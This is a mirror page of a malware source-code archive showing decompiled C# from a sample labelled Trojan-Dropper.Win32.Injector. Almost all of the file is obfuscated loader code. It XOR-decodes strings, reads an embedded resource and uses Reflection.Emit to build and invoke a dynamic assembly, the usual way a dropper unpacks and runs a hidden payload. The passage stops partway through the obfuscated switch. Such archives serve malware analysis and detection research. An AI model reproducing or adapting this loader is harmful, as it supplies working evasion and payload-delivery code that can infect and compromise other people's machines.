mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
f2ac1ece55
add
1777 lines
63 KiB
C#
1777 lines
63 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type:
|
|
// Assembly: Feon, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: AF8034ED-5A2C-4122-9E1B-F560737FA983
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.exwr-69a114df5525bb71f18484f15cb4dd44f7c416f26c41b8af17d2ce1b2774383e.exe
|
|
|
|
using System;
|
|
using System.Collections;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Reflection;
|
|
using System.Reflection.Emit;
|
|
using System.Text;
|
|
|
|
internal sealed class \uE008
|
|
{
|
|
public static string \uE000(int _param0) => string.Intern(\uE008.\uE000.\uE000.\uE001(_param0));
|
|
|
|
public static string \uE000 => "3b1c5fd1ae174948";
|
|
|
|
private sealed class \uE000
|
|
{
|
|
public static readonly \uE008.\uE000 \uE000;
|
|
|
|
static \uE000()
|
|
{
|
|
\uE009.\uE000();
|
|
\uE008.\uE000.\uE000 = new \uE008.\uE000();
|
|
}
|
|
|
|
private \uE000()
|
|
{
|
|
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
|
label_2:
|
|
int num = -482737877;
|
|
TypeBuilder typeBuilder;
|
|
AppDomain currentDomain;
|
|
AssemblyName name;
|
|
ModuleBuilder moduleBuilder;
|
|
Stream stream;
|
|
AssemblyBuilder assemblyBuilder;
|
|
Type type;
|
|
while (true)
|
|
{
|
|
switch ((num ^ 478650879) + 4349747)
|
|
{
|
|
case 0:
|
|
this.\uE000(typeBuilder);
|
|
num = -482737875;
|
|
continue;
|
|
case 1:
|
|
assemblyBuilder = currentDomain.DefineDynamicAssembly(name, AssemblyBuilderAccess.Run);
|
|
num = -482737874;
|
|
continue;
|
|
case 2:
|
|
stream = (Stream) \uE011.\uE000(executingAssembly.GetManifestResourceStream(\uE008.\uE000));
|
|
num = -482737876;
|
|
continue;
|
|
case 3:
|
|
typeBuilder = moduleBuilder.DefineType("?", TypeAttributes.NotPublic);
|
|
num = -482737870;
|
|
continue;
|
|
case 4:
|
|
moduleBuilder = assemblyBuilder.DefineDynamicModule("?");
|
|
num = -482737873;
|
|
continue;
|
|
case 5:
|
|
type = typeBuilder.CreateType();
|
|
num = -482737872;
|
|
continue;
|
|
case 6:
|
|
type.InvokeMember("?", BindingFlags.Static | BindingFlags.Public | BindingFlags.InvokeMethod, (Binder) null, (object) null, new object[2]
|
|
{
|
|
(object) stream,
|
|
(object) \uE008.\uE000
|
|
});
|
|
num = -482737880;
|
|
continue;
|
|
case 7:
|
|
currentDomain = AppDomain.CurrentDomain;
|
|
num = -482737878;
|
|
continue;
|
|
case 8:
|
|
name = new AssemblyName();
|
|
num = -482737879;
|
|
continue;
|
|
case 9:
|
|
name.Name = "?";
|
|
num = -482737871;
|
|
continue;
|
|
case 10:
|
|
goto label_10;
|
|
default:
|
|
goto label_2;
|
|
}
|
|
}
|
|
label_10:;
|
|
}
|
|
|
|
public MethodBuilder \uE000(TypeBuilder _param1)
|
|
{
|
|
MethodAttributes attributes = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
|
|
label_16:
|
|
int num1 = 161182891;
|
|
int num2 = -1131945097;
|
|
label_2:
|
|
num2 ^= 1126392999;
|
|
int num3;
|
|
int num4;
|
|
switch (num2 + 5994545)
|
|
{
|
|
case 0:
|
|
goto label_16;
|
|
case 1:
|
|
MethodBuilder methodBuilder;
|
|
while (true)
|
|
{
|
|
num1 ^= 162751255;
|
|
byte[] bytes;
|
|
ILGenerator ilGenerator;
|
|
string s;
|
|
Type type1;
|
|
BindingFlags bindingAttr1;
|
|
ConstructorInfo constructor1;
|
|
Label label1;
|
|
string[] strArray;
|
|
BindingFlags bindingAttr2;
|
|
MethodInfo method1;
|
|
MethodInfo method2;
|
|
MethodInfo method3;
|
|
Label label2;
|
|
Label label3;
|
|
MethodInfo method4;
|
|
MethodInfo method5;
|
|
MethodInfo method6;
|
|
ConstructorInfo constructor2;
|
|
MethodInfo method7;
|
|
Type type2;
|
|
MethodInfo method8;
|
|
ConstructorInfo constructor3;
|
|
MethodInfo method9;
|
|
MethodInfo method10;
|
|
Label label4;
|
|
MethodInfo method11;
|
|
Label label5;
|
|
MethodInfo method12;
|
|
MethodInfo method13;
|
|
MethodInfo method14;
|
|
MethodInfo method15;
|
|
Label label6;
|
|
switch (num1)
|
|
{
|
|
case 2627421:
|
|
bytes[69] = (byte) ((uint) bytes[69] ^ 61U);
|
|
num1 = 161182860;
|
|
continue;
|
|
case 2627422:
|
|
ilGenerator.Emit(OpCodes.Ldloc_1);
|
|
num1 = 161182927;
|
|
continue;
|
|
case 2627423:
|
|
s = "WT8OY3IKPCxJDEszF00CAUl5Pg9zSXQoJVQ0Wz1rQxxhfG9dBklqJAxFAC4LbztrSBAhSC8RdC9LSxEof18YAXldd25vWFgoQFV5dn0ha3s5KkNFIEVYBwIEbUo9GXtOaGtBdWBwExpFCXpTbjV8K28wAgRtMyBCQEwuIUcSQihOBW8hJx57JD1zRBAhE1hHQiZTWhgJQ0BVaVEvSVlbai9sYjwbE2NNVSg4HlxcVXUAEkcbPEgOTHYuY09NTgFbCEEOZikReSQiH34UZiUdbB1/ZyV0cX5gH0xWdWkBeHEFJWViSloycXwHWQc1SSMtNmUVIU4RfmMUIjVIQQJvCDVRDiNUGQ==";
|
|
num1 = 161184562;
|
|
continue;
|
|
case 2627424:
|
|
ilGenerator.DeclareLocal(typeof (StackTrace));
|
|
num1 = 161182948;
|
|
continue;
|
|
case 2627425:
|
|
constructor1 = type1.GetConstructor(bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
|
|
num1 = 161182870;
|
|
continue;
|
|
case 2627426:
|
|
bytes[85] = bytes[85];
|
|
num1 = 161184661;
|
|
continue;
|
|
case 2627427:
|
|
bytes[232] = (byte) ((uint) bytes[232] ^ 82U);
|
|
num1 = 161184514;
|
|
continue;
|
|
case 2627428:
|
|
bytes[152] = (byte) ((uint) bytes[152] ^ 48U);
|
|
num1 = 161182945;
|
|
continue;
|
|
case 2627429:
|
|
bytes[33] = (byte) ((uint) bytes[33] ^ 5U);
|
|
num1 = 161184534;
|
|
continue;
|
|
case 2627430:
|
|
bytes[189] = (byte) ((uint) bytes[189] ^ 35U);
|
|
num1 = 161182880;
|
|
continue;
|
|
case 2627431:
|
|
ilGenerator.MarkLabel(label1);
|
|
num1 = 161184516;
|
|
continue;
|
|
case 2627432:
|
|
bytes[182] = (byte) ((uint) bytes[182] ^ 106U);
|
|
num1 = 161184733;
|
|
continue;
|
|
case 2627433:
|
|
bytes[6] = (byte) ((uint) bytes[6] ^ 81U);
|
|
num1 = 161182884;
|
|
continue;
|
|
case 2627434:
|
|
method1 = typeof (AppDomain).GetMethod(strArray[13], bindingAttr2, (Binder) null, new Type[0], (ParameterModifier[]) null);
|
|
num1 = 161184729;
|
|
continue;
|
|
case 2627435:
|
|
bytes[80] = (byte) ((uint) bytes[80] ^ 92U);
|
|
num1 = 161182881;
|
|
continue;
|
|
case 2627436:
|
|
ilGenerator.Emit(OpCodes.Ldloc_S, 5);
|
|
num1 = 161184702;
|
|
continue;
|
|
case 2627437:
|
|
bytes[(int) sbyte.MaxValue] = (byte) ((uint) bytes[(int) sbyte.MaxValue] ^ 70U);
|
|
num1 = 161184720;
|
|
continue;
|
|
case 2627438:
|
|
bytes[110] = (byte) ((uint) bytes[110] ^ 25U);
|
|
num1 = 161184625;
|
|
continue;
|
|
case 2627439:
|
|
bytes[139] = (byte) ((uint) bytes[139] ^ 43U);
|
|
num1 = 161184551;
|
|
continue;
|
|
case 2627440:
|
|
bytes[53] = (byte) ((uint) bytes[53] ^ 69U);
|
|
num1 = 161184569;
|
|
continue;
|
|
case 2627441:
|
|
method2 = typeof (BinaryReader).GetMethod(strArray[11], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
|
|
num1 = 161184662;
|
|
continue;
|
|
case 2627442:
|
|
bytes[210] = (byte) ((uint) bytes[210] ^ 6U);
|
|
num1 = 161182871;
|
|
continue;
|
|
case 2627443:
|
|
bytes[216] = (byte) ((uint) bytes[216] ^ 108U);
|
|
num1 = 161184612;
|
|
continue;
|
|
case 2627444:
|
|
bytes[57] = (byte) ((uint) bytes[57] ^ 13U);
|
|
num1 = 161184543;
|
|
continue;
|
|
case 2627445:
|
|
bytes[171] = (byte) ((uint) bytes[171] ^ 107U);
|
|
num1 = 161184652;
|
|
continue;
|
|
case 2627446:
|
|
bindingAttr2 = BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic;
|
|
num1 = 161182792;
|
|
continue;
|
|
case 2627447:
|
|
bytes[130] = (byte) ((uint) bytes[130] ^ 10U);
|
|
num1 = 161184559;
|
|
continue;
|
|
case 2627448:
|
|
bytes[249] = (byte) ((uint) bytes[249] ^ 79U);
|
|
num1 = 161182921;
|
|
continue;
|
|
case 2627449:
|
|
bytes[83] = (byte) ((uint) bytes[83] ^ 35U);
|
|
num1 = 161182909;
|
|
continue;
|
|
case 2627450:
|
|
bytes[214] = (byte) ((uint) bytes[214] ^ 45U);
|
|
num1 = 161184528;
|
|
continue;
|
|
case 2627451:
|
|
bytes[167] = (byte) ((uint) bytes[167] ^ 57U);
|
|
num1 = 161182971;
|
|
continue;
|
|
case 2627452:
|
|
bytes[106] = (byte) ((uint) bytes[106] ^ 31U);
|
|
num1 = 161182856;
|
|
continue;
|
|
case 2627453:
|
|
bytes[35] = (byte) ((uint) bytes[35] ^ 56U);
|
|
num1 = 161182894;
|
|
continue;
|
|
case 2627454:
|
|
bytes[248] = (byte) ((uint) bytes[248] ^ 113U);
|
|
num1 = 161182831;
|
|
continue;
|
|
case 2627455:
|
|
bytes[118] = (byte) ((uint) bytes[118] ^ 84U);
|
|
num1 = 161184576;
|
|
continue;
|
|
case 2627456:
|
|
bytes[211] = (byte) ((uint) bytes[211] ^ 70U);
|
|
num1 = 161182954;
|
|
continue;
|
|
case 2627457:
|
|
method3 = type1.GetMethod(strArray[0], bindingAttr1, (Binder) null, new Type[1]
|
|
{
|
|
typeof (int)
|
|
}, (ParameterModifier[]) null);
|
|
num1 = 161184677;
|
|
continue;
|
|
case 2627458:
|
|
bytes[114] = (byte) ((uint) bytes[114] ^ 106U);
|
|
num1 = 161184650;
|
|
continue;
|
|
case 2627459:
|
|
ilGenerator.Emit(OpCodes.Br_S, label2);
|
|
num1 = 161182832;
|
|
continue;
|
|
case 2627460:
|
|
ilGenerator.Emit(OpCodes.Bne_Un_S, label3);
|
|
num1 = 161182951;
|
|
continue;
|
|
case 2627461:
|
|
ilGenerator.Emit(OpCodes.Ldarg_0);
|
|
num1 = 161182850;
|
|
continue;
|
|
case 2627462:
|
|
bytes[227] = (byte) ((uint) bytes[227] ^ 17U);
|
|
num1 = 161182859;
|
|
continue;
|
|
case 2627463:
|
|
bytes[17] = (byte) ((uint) bytes[17] ^ 29U);
|
|
num1 = 161182876;
|
|
continue;
|
|
case 2627464:
|
|
method4 = typeof (Stream).GetMethod(strArray[9], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
|
|
num1 = 161184548;
|
|
continue;
|
|
case 2627465:
|
|
bytes[87] = (byte) ((uint) bytes[87] ^ 110U);
|
|
num1 = 161184530;
|
|
continue;
|
|
case 2627466:
|
|
method5 = typeof (Stream).GetMethod(strArray[10], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
|
|
num1 = 161182822;
|
|
continue;
|
|
case 2627467:
|
|
bytes[18] = (byte) ((uint) bytes[18] ^ 5U);
|
|
num1 = 161184538;
|
|
continue;
|
|
case 2627468:
|
|
ilGenerator.Emit(OpCodes.Ldloc_S, 6);
|
|
num1 = 161184564;
|
|
continue;
|
|
case 2627469:
|
|
bytes[175] = (byte) ((uint) bytes[175] ^ 24U);
|
|
num1 = 161182966;
|
|
continue;
|
|
case 2627470:
|
|
method6 = typeof (Type).GetMethod(strArray[4], bindingAttr2, (Binder) null, new Type[1]
|
|
{
|
|
typeof (RuntimeTypeHandle)
|
|
}, (ParameterModifier[]) null);
|
|
num1 = 161184660;
|
|
continue;
|
|
case 2627471:
|
|
ilGenerator.Emit(OpCodes.Newobj, constructor1);
|
|
num1 = 161182936;
|
|
continue;
|
|
case 2627472:
|
|
bytes[158] = (byte) ((uint) bytes[158] ^ 58U);
|
|
num1 = 161182935;
|
|
continue;
|
|
case 2627473:
|
|
bytes[193] = (byte) ((uint) bytes[193] ^ 32U);
|
|
num1 = 161184539;
|
|
continue;
|
|
case 2627474:
|
|
ilGenerator.Emit(OpCodes.Box, typeof (int));
|
|
num1 = 161182843;
|
|
continue;
|
|
case 2627475:
|
|
bytes[55] = (byte) ((uint) bytes[55] ^ 95U);
|
|
num1 = 161184535;
|
|
continue;
|
|
case 2627476:
|
|
bytes[146] = (byte) ((uint) bytes[146] ^ 39U);
|
|
num1 = 161184663;
|
|
continue;
|
|
case 2627477:
|
|
ilGenerator.Emit(OpCodes.Newobj, constructor2);
|
|
num1 = 161184701;
|
|
continue;
|
|
case 2627478:
|
|
bytes[166] = (byte) ((uint) bytes[166] ^ 2U);
|
|
num1 = 161182828;
|
|
continue;
|
|
case 2627479:
|
|
bytes[109] = (byte) ((uint) bytes[109] ^ 121U);
|
|
num1 = 161182841;
|
|
continue;
|
|
case 2627480:
|
|
ilGenerator.MarkLabel(label2);
|
|
num1 = 161184725;
|
|
continue;
|
|
case 2627481:
|
|
bytes[133] = (byte) ((uint) bytes[133] ^ 77U);
|
|
num1 = 161184563;
|
|
continue;
|
|
case 2627482:
|
|
bytes[230] = (byte) ((uint) bytes[230] ^ 81U);
|
|
num1 = 161184622;
|
|
continue;
|
|
case 2627483:
|
|
bytes[70] = (byte) ((uint) bytes[70] ^ 44U);
|
|
num1 = 161184675;
|
|
continue;
|
|
case 2627484:
|
|
bytes[228] = (byte) ((uint) bytes[228] ^ 62U);
|
|
num1 = 161182901;
|
|
continue;
|
|
case 2627485:
|
|
bytes[129] = (byte) ((uint) bytes[129] ^ 87U);
|
|
num1 = 161182816;
|
|
continue;
|
|
case 2627486:
|
|
bytes[126] = (byte) ((uint) bytes[126] ^ 45U);
|
|
num1 = 161182842;
|
|
continue;
|
|
case 2627487:
|
|
bytes[107] = (byte) ((uint) bytes[107] ^ 39U);
|
|
num1 = 161184542;
|
|
continue;
|
|
case 2627488:
|
|
ilGenerator = methodBuilder.GetILGenerator();
|
|
num1 = 161182839;
|
|
continue;
|
|
case 2627489:
|
|
bytes[254] = (byte) ((uint) bytes[254] ^ 6U);
|
|
num1 = 161184529;
|
|
continue;
|
|
case 2627490:
|
|
bytes[229] = (byte) ((uint) bytes[229] ^ 51U);
|
|
num1 = 161182861;
|
|
continue;
|
|
case 2627491:
|
|
ilGenerator.DeclareLocal(typeof (BinaryReader));
|
|
num1 = 161184695;
|
|
continue;
|
|
case 2627492:
|
|
bytes[186] = (byte) ((uint) bytes[186] ^ 16U);
|
|
num1 = 161182915;
|
|
continue;
|
|
case 2627493:
|
|
bytes[234] = (byte) ((uint) bytes[234] ^ 45U);
|
|
num1 = 161184602;
|
|
continue;
|
|
case 2627494:
|
|
bytes[8] = (byte) ((uint) bytes[8] ^ 114U);
|
|
num1 = 161182919;
|
|
continue;
|
|
case 2627495:
|
|
bytes[245] = (byte) ((uint) bytes[245] ^ 104U);
|
|
num1 = 161184698;
|
|
continue;
|
|
case 2627496:
|
|
bytes[3] = (byte) ((uint) bytes[3] ^ 37U);
|
|
num1 = 161184624;
|
|
continue;
|
|
case 2627497:
|
|
bytes[66] = (byte) ((uint) bytes[66] ^ 18U);
|
|
num1 = 161184517;
|
|
continue;
|
|
case 2627498:
|
|
bytes[84] = (byte) ((uint) bytes[84] ^ 27U);
|
|
num1 = 161182837;
|
|
continue;
|
|
case 2627499:
|
|
bytes[220] = (byte) ((uint) bytes[220] ^ 71U);
|
|
num1 = 161182953;
|
|
continue;
|
|
case 2627500:
|
|
bytes[46] = (byte) ((uint) bytes[46] ^ 90U);
|
|
num1 = 161182947;
|
|
continue;
|
|
case 2627501:
|
|
bytes[52] = (byte) ((uint) bytes[52] ^ 91U);
|
|
num1 = 161182823;
|
|
continue;
|
|
case 2627502:
|
|
bytes[132] = (byte) ((uint) bytes[132] ^ 67U);
|
|
num1 = 161182862;
|
|
continue;
|
|
case 2627503:
|
|
method7 = Type.GetType(strArray[18]).GetMethod(strArray[7], bindingAttr2, (Binder) null, new Type[1]
|
|
{
|
|
typeof (int)
|
|
}, (ParameterModifier[]) null);
|
|
num1 = 161184657;
|
|
continue;
|
|
case 2627504:
|
|
bytes[73] = (byte) ((uint) bytes[73] ^ 52U);
|
|
num1 = 161184596;
|
|
continue;
|
|
case 2627505:
|
|
ilGenerator.Emit(OpCodes.Add);
|
|
num1 = 161184667;
|
|
continue;
|
|
case 2627506:
|
|
ilGenerator.Emit(OpCodes.Stloc_1);
|
|
num1 = 161184676;
|
|
continue;
|
|
case 2627507:
|
|
bytes[7] = (byte) ((uint) bytes[7] ^ 73U);
|
|
num1 = 161182897;
|
|
continue;
|
|
case 2627508:
|
|
bytes[180] = (byte) ((uint) bytes[180] ^ 84U);
|
|
num1 = 161182882;
|
|
continue;
|
|
case 2627509:
|
|
bytes[181] = (byte) ((uint) bytes[181] ^ 39U);
|
|
num1 = 161182847;
|
|
continue;
|
|
case 2627510:
|
|
bytes[81] = (byte) ((uint) bytes[81] ^ 82U);
|
|
num1 = 161182975;
|
|
continue;
|
|
case 2627511:
|
|
bytes[190] = (byte) ((uint) bytes[190] ^ 47U);
|
|
num1 = 161184723;
|
|
continue;
|
|
case 2627512:
|
|
bytes[102] = (byte) ((uint) bytes[102] ^ 125U);
|
|
num1 = 161184673;
|
|
continue;
|
|
case 2627513:
|
|
bytes[36] = (byte) ((uint) bytes[36] ^ 61U);
|
|
num1 = 161184703;
|
|
continue;
|
|
case 2627514:
|
|
method8 = type2.GetMethod(strArray[1], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
|
|
num1 = 161184593;
|
|
continue;
|
|
case 2627515:
|
|
bytes[225] = (byte) ((uint) bytes[225] ^ 75U);
|
|
num1 = 161182917;
|
|
continue;
|
|
case 2627516:
|
|
bindingAttr1 = BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic;
|
|
num1 = 161182817;
|
|
continue;
|
|
case 2627517:
|
|
bytes[30] = (byte) ((uint) bytes[30] ^ 45U);
|
|
num1 = 161184540;
|
|
continue;
|
|
case 2627518:
|
|
ilGenerator.Emit(OpCodes.Newobj, constructor3);
|
|
num1 = 161184591;
|
|
continue;
|
|
case 2627519:
|
|
bytes[93] = (byte) ((uint) bytes[93] ^ 70U);
|
|
num1 = 161184581;
|
|
continue;
|
|
case 2627520:
|
|
bytes[159] = (byte) ((uint) bytes[159] ^ 3U);
|
|
num1 = 161184572;
|
|
continue;
|
|
case 2627521:
|
|
bytes[20] = (byte) ((uint) bytes[20] ^ 22U);
|
|
num1 = 161182939;
|
|
continue;
|
|
case 2627522:
|
|
ilGenerator.Emit(OpCodes.Stloc_S, 4);
|
|
num1 = 161182866;
|
|
continue;
|
|
case 2627523:
|
|
bytes[188] = (byte) ((uint) bytes[188] ^ 40U);
|
|
num1 = 161182833;
|
|
continue;
|
|
case 2627524:
|
|
bytes[149] = (byte) ((uint) bytes[149] ^ 124U);
|
|
num1 = 161184735;
|
|
continue;
|
|
case 2627525:
|
|
bytes[224] = (byte) ((uint) bytes[224] ^ 98U);
|
|
num1 = 161182892;
|
|
continue;
|
|
case 2627526:
|
|
method9 = typeof (string).GetMethod(strArray[6], bindingAttr1, (Binder) null, new Type[1]
|
|
{
|
|
typeof (string)
|
|
}, (ParameterModifier[]) null);
|
|
num1 = 161182904;
|
|
continue;
|
|
case 2627527:
|
|
bytes[122] = (byte) ((uint) bytes[122] ^ 93U);
|
|
num1 = 161184668;
|
|
continue;
|
|
case 2627528:
|
|
bytes[32] = (byte) ((uint) bytes[32] ^ 53U);
|
|
num1 = 161182834;
|
|
continue;
|
|
case 2627529:
|
|
bytes[257] = (byte) ((uint) bytes[257] ^ 63U);
|
|
num1 = 161184519;
|
|
continue;
|
|
case 2627530:
|
|
bytes[125] = (byte) ((uint) bytes[125] ^ 123U);
|
|
num1 = 161182857;
|
|
continue;
|
|
case 2627531:
|
|
bytes[59] = (byte) ((uint) bytes[59] ^ 71U);
|
|
num1 = 161182950;
|
|
continue;
|
|
case 2627532:
|
|
bytes[21] = (byte) ((uint) bytes[21] ^ 61U);
|
|
num1 = 161184665;
|
|
continue;
|
|
case 2627533:
|
|
bytes[185] = (byte) ((uint) bytes[185] ^ 87U);
|
|
num1 = 161182899;
|
|
continue;
|
|
case 2627534:
|
|
bytes[163] = (byte) ((uint) bytes[163] ^ 89U);
|
|
num1 = 161184724;
|
|
continue;
|
|
case 2627535:
|
|
ilGenerator.Emit(OpCodes.Stloc_0);
|
|
num1 = 161184566;
|
|
continue;
|
|
case 2627536:
|
|
bytes[9] = (byte) ((uint) bytes[9] ^ 75U);
|
|
num1 = 161184636;
|
|
continue;
|
|
case 2627537:
|
|
bytes[49] = (byte) ((uint) bytes[49] ^ 43U);
|
|
num1 = 161184518;
|
|
continue;
|
|
case 2627538:
|
|
bytes[226] = (byte) ((uint) bytes[226] ^ 10U);
|
|
num1 = 161182865;
|
|
continue;
|
|
case 2627539:
|
|
bytes[241] = (byte) ((uint) bytes[241] ^ 8U);
|
|
num1 = 161184656;
|
|
continue;
|
|
case 2627540:
|
|
bytes[187] = (byte) ((uint) bytes[187] ^ 59U);
|
|
num1 = 161182932;
|
|
continue;
|
|
case 2627541:
|
|
bytes[63] = (byte) ((uint) bytes[63] ^ 111U);
|
|
num1 = 161184536;
|
|
continue;
|
|
case 2627542:
|
|
bytes[72] = (byte) ((uint) bytes[72] ^ 14U);
|
|
num1 = 161182887;
|
|
continue;
|
|
case 2627543:
|
|
bytes[195] = (byte) ((uint) bytes[195] ^ 8U);
|
|
num1 = 161184700;
|
|
continue;
|
|
case 2627544:
|
|
ilGenerator.Emit(OpCodes.Ldc_I4_1);
|
|
num1 = 161182886;
|
|
continue;
|
|
case 2627545:
|
|
ilGenerator.Emit(OpCodes.Stloc_2);
|
|
num1 = 161182959;
|
|
continue;
|
|
case 2627546:
|
|
bytes[199] = (byte) ((uint) bytes[199] ^ 77U);
|
|
num1 = 161184577;
|
|
continue;
|
|
case 2627547:
|
|
bytes[51] = (byte) ((uint) bytes[51] ^ 45U);
|
|
num1 = 161182906;
|
|
continue;
|
|
case 2627548:
|
|
bytes[100] = (byte) ((uint) bytes[100] ^ 15U);
|
|
num1 = 161182962;
|
|
continue;
|
|
case 2627549:
|
|
bytes[61] = (byte) ((uint) bytes[61] ^ 23U);
|
|
num1 = 161184610;
|
|
continue;
|
|
case 2627550:
|
|
bytes[250] = (byte) ((uint) bytes[250] ^ 27U);
|
|
num1 = 161182952;
|
|
continue;
|
|
case 2627551:
|
|
bytes[197] = (byte) ((uint) bytes[197] ^ 98U);
|
|
num1 = 161184621;
|
|
continue;
|
|
case 2627552:
|
|
bytes[0] = (byte) ((uint) bytes[0] ^ 30U);
|
|
num1 = 161184550;
|
|
continue;
|
|
case 2627553:
|
|
bytes[176] = (byte) ((uint) bytes[176] ^ 101U);
|
|
num1 = 161184734;
|
|
continue;
|
|
case 2627554:
|
|
bytes[155] = (byte) ((uint) bytes[155] ^ 107U);
|
|
num1 = 161184732;
|
|
continue;
|
|
case 2627555:
|
|
label3 = ilGenerator.DefineLabel();
|
|
num1 = 161184631;
|
|
continue;
|
|
case 2627556:
|
|
method10 = typeof (Type).GetMethod(strArray[3], bindingAttr1, (Binder) null, new Type[0], (ParameterModifier[]) null);
|
|
num1 = 161182873;
|
|
continue;
|
|
case 2627557:
|
|
bytes[101] = (byte) ((uint) bytes[101] ^ 5U);
|
|
num1 = 161182895;
|
|
continue;
|
|
case 2627558:
|
|
ilGenerator.Emit(OpCodes.Ldloc_3);
|
|
num1 = 161184670;
|
|
continue;
|
|
case 2627559:
|
|
bytes[99] = (byte) ((uint) bytes[99] ^ 54U);
|
|
num1 = 161182923;
|
|
continue;
|
|
case 2627560:
|
|
bytes[82] = (byte) ((uint) bytes[82] ^ 12U);
|
|
num1 = 161182830;
|
|
continue;
|
|
case 2627561:
|
|
ilGenerator.Emit(OpCodes.Callvirt, method5);
|
|
num1 = 161184731;
|
|
continue;
|
|
case 2627562:
|
|
bytes[256] = (byte) ((uint) bytes[256] ^ 90U);
|
|
num1 = 161182942;
|
|
continue;
|
|
case 2627563:
|
|
bytes[238] = (byte) ((uint) bytes[238] ^ 101U);
|
|
num1 = 161184638;
|
|
continue;
|
|
case 2627564:
|
|
bytes[168] = (byte) ((uint) bytes[168] ^ 52U);
|
|
num1 = 161182955;
|
|
continue;
|
|
case 2627565:
|
|
ilGenerator.Emit(OpCodes.Ldarg_1);
|
|
num1 = 161182875;
|
|
continue;
|
|
case 2627566:
|
|
ilGenerator.Emit(OpCodes.Ldarg_0);
|
|
num1 = 161184617;
|
|
continue;
|
|
case 2627567:
|
|
bytes[40] = (byte) ((uint) bytes[40] ^ 83U);
|
|
num1 = 161184614;
|
|
continue;
|
|
case 2627568:
|
|
ilGenerator.Emit(OpCodes.Ldloc_3);
|
|
num1 = 161184553;
|
|
continue;
|
|
case 2627569:
|
|
bytes[60] = (byte) ((uint) bytes[60] ^ 18U);
|
|
num1 = 161182922;
|
|
continue;
|
|
case 2627570:
|
|
bytes[28] = (byte) ((uint) bytes[28] ^ 79U);
|
|
num1 = 161182957;
|
|
continue;
|
|
case 2627571:
|
|
ilGenerator.DeclareLocal(typeof (int));
|
|
num1 = 161184522;
|
|
continue;
|
|
case 2627572:
|
|
bytes[47] = (byte) ((uint) bytes[47] ^ 6U);
|
|
num1 = 161184531;
|
|
continue;
|
|
case 2627573:
|
|
bytes[143] = (byte) ((uint) bytes[143] ^ 124U);
|
|
num1 = 161184666;
|
|
continue;
|
|
case 2627574:
|
|
bytes[153] = (byte) ((uint) bytes[153] ^ 7U);
|
|
num1 = 161184730;
|
|
continue;
|
|
case 2627575:
|
|
label2 = ilGenerator.DefineLabel();
|
|
num1 = 161184623;
|
|
continue;
|
|
case 2627576:
|
|
ilGenerator.Emit(OpCodes.Ldloc_2);
|
|
num1 = 161184579;
|
|
continue;
|
|
case 2627577:
|
|
bytes[121] = (byte) ((uint) bytes[121] ^ 35U);
|
|
num1 = 161182928;
|
|
continue;
|
|
case 2627578:
|
|
bytes[29] = (byte) ((uint) bytes[29] ^ 2U);
|
|
num1 = 161182890;
|
|
continue;
|
|
case 2627579:
|
|
ilGenerator.MarkLabel(label4);
|
|
num1 = 161184637;
|
|
continue;
|
|
case 2627580:
|
|
bytes[169] = (byte) ((uint) bytes[169] ^ 19U);
|
|
num1 = 161184647;
|
|
continue;
|
|
case 2627581:
|
|
bytes[212] = (byte) ((uint) bytes[212] ^ 17U);
|
|
num1 = 161184630;
|
|
continue;
|
|
case 2627582:
|
|
bytes[221] = (byte) ((uint) bytes[221] ^ 69U);
|
|
num1 = 161184643;
|
|
continue;
|
|
case 2627583:
|
|
bytes[251] = (byte) ((uint) bytes[251] ^ 13U);
|
|
num1 = 161184544;
|
|
continue;
|
|
case 2627584:
|
|
bytes[56] = (byte) ((uint) bytes[56] ^ 46U);
|
|
num1 = 161182819;
|
|
continue;
|
|
case 2627585:
|
|
bytes[34] = (byte) ((uint) bytes[34] ^ 31U);
|
|
num1 = 161182826;
|
|
continue;
|
|
case 2627586:
|
|
strArray = Encoding.UTF8.GetString(bytes).Split(';');
|
|
num1 = 161184573;
|
|
continue;
|
|
case 2627587:
|
|
ilGenerator.Emit(OpCodes.Callvirt, method10);
|
|
num1 = 161184554;
|
|
continue;
|
|
case 2627588:
|
|
bytes[48] = (byte) ((uint) bytes[48] ^ 45U);
|
|
num1 = 161182918;
|
|
continue;
|
|
case 2627589:
|
|
bytes[88] = (byte) ((uint) bytes[88] ^ 118U);
|
|
num1 = 161184696;
|
|
continue;
|
|
case 2627590:
|
|
bytes[(int) byte.MaxValue] = (byte) ((uint) bytes[(int) byte.MaxValue] ^ 122U);
|
|
num1 = 161182973;
|
|
continue;
|
|
case 2627591:
|
|
bytes[215] = (byte) ((uint) bytes[215] ^ 25U);
|
|
num1 = 161182820;
|
|
continue;
|
|
case 2627592:
|
|
bytes[58] = (byte) ((uint) bytes[58] ^ 99U);
|
|
num1 = 161182940;
|
|
continue;
|
|
case 2627593:
|
|
bytes[108] = (byte) ((uint) bytes[108] ^ 49U);
|
|
num1 = 161182848;
|
|
continue;
|
|
case 2627594:
|
|
bytes[79] = (byte) ((uint) bytes[79] ^ 31U);
|
|
num1 = 161182844;
|
|
continue;
|
|
case 2627595:
|
|
bytes[31] = (byte) ((uint) bytes[31] ^ 123U);
|
|
num1 = 161182943;
|
|
continue;
|
|
case 2627596:
|
|
bytes[194] = (byte) ((uint) bytes[194] ^ 105U);
|
|
num1 = 161182912;
|
|
continue;
|
|
case 2627597:
|
|
bytes[19] = (byte) ((uint) bytes[19] ^ 104U);
|
|
num1 = 161182934;
|
|
continue;
|
|
case 2627598:
|
|
bytes[223] = (byte) ((uint) bytes[223] ^ 16U);
|
|
num1 = 161182930;
|
|
continue;
|
|
case 2627599:
|
|
bytes[64] = (byte) ((uint) bytes[64] ^ 29U);
|
|
num1 = 161184512;
|
|
continue;
|
|
case 2627600:
|
|
bytes[258] = (byte) ((uint) bytes[258] ^ 99U);
|
|
num1 = 161184574;
|
|
continue;
|
